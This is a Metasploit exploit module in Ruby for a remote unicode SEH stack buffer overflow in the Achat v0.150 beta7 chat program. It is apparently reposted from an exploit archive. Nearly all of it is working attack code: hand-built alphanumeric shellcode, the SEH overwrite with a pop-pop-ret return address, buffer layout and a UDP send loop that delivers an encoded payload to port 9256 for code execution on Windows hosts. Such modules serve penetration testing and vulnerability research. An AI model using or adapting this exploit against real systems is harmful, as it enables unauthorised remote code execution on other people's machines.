Achat 0.150 beta7 – Remote Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Achat v0.150 beta7 Buffer Overflow', 'Description' => %q{ This module exploits an unicode SEH based stack buffer overflow in Achat v0.150. By sending a crafted message to the default port 9256 it's possible to overwrites the SEH handler. Even when the exploit is reliable it depends of timing since there are two threads overflowing the stack in the same time. This module has been tested on Windows XP SP3 and Windows 7. }, 'Author' => [ 'Peter Kasza <peter.kasza[at]itinsight.hu>', # Vulnerability discovery 'Balazs Bucsay <balazs.bucsay[at]rycon.hu>' # Exploit, Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CWE', '121'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Payload' => { 'DisableNops' => true, 'Space' => 730, 'BadChars' => "\x00" + (0x80..0xff).to_a.pack("C*"), 'StackAdjustment' => -3500, 'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed, 'EncoderOptions' => { 'BufferRegister' => 'EAX' } }, 'Platform' => 'win', 'Targets' => [ # Tested OK Windows XP SP3, Windows 7 # Not working on Windows Server 2003 [ 'Achat beta v0.150 / Windows XP SP3 / Windows 7 SP1', { 'Ret' => "\x2A\x46" } ] #ppr from AChat.exe ], 'Privileged' => false, 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 18 2014')) register_options( [ Opt::RPORT(9256) ], self.class) end def exploit connect_udp # 0055 00 ADD BYTE PTR SS:[EBP],DL # padding # 2A00 SUB AL,BYTE PTR DS:[EAX] # padding # 55 PUSH EBP # ebp holds a close pointer to the payload # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 58 POP EAX # mov eax, ebp # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 05 00140011 ADD EAX,11001400 # adjusting eax # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 50 PUSH EAX # eax points to the start of the shellcode # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 58 POP EAX # padding # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding # 59 POP ECX # padding # 0039 ADD BYTE PTR DS:[ECX],BH # padding first_stage = "\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39" sploit = 'A0000000002#Main' + "\x00" + 'Z' * 114688 + "\x00" + "A" * 10 + "\x00" sploit << 'A0000000002#Main' + "\x00" + 'A' * 57288 + 'AAAAASI' * 50 + 'A' * (3750 - 46) sploit << "\x62" + 'A' * 45 # 0x62 will be used to calculate the right offset sploit << "\x61\x40" # POPAD + INC EAX sploit << target.ret # AChat.exe p/p/r address # adjusting the first thread's unicode payload, tricky asm-fu # the first seh exception jumps here, first_stage variable will be executed # by the second seh exception as well. It needs to be in sync with the second # thread, so that is why we adjust eax/ebp to have a close pointer to the # payload, then first_stage variable will take the rest of the job. # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding # 55 PUSH EBP # ebp with close pointer to payload # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 58 POP EAX # put ebp to eax # 006E 00 ADD BYTE PTR DS:[ESI],CH # padding # 2A00 SUB AL,BYTE PTR DS:[EAX] # setting eax to the right place # 2A00 SUB AL,BYTE PTR DS:[EAX] # adjusting eax a little bit more # 05 00140011 ADD EAX,11001400 # more adjusting # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding # 2D 00130011 SUB EAX,11001300 # lea eax, eax+100 # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding # 50 PUSH EAX # saving eax # 0043 00 ADD BYTE PTR DS:[EBX],AL # padding # 5D POP EBP # mov ebp, eax sploit << "\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D" + 'C' * 9 + "\x60\x43" sploit << "\x61\x43" + target.ret # second nseh entry, for the second thread sploit << "\x2A" + first_stage + 'C' * (157 - first_stage.length - 31 -3) # put address of the payload to EAX sploit << payload.encoded + 'A' * (1152 - payload.encoded.length) # placing the payload sploit << "\x00" + 'A' * 10 + "\x00" i = 0 while i < sploit.length do if i > 172000 Rex::sleep(1.0) end sent = udp_sock.put(sploit[i..i + 8192 - 1]) i += sent end disconnect_udp end end |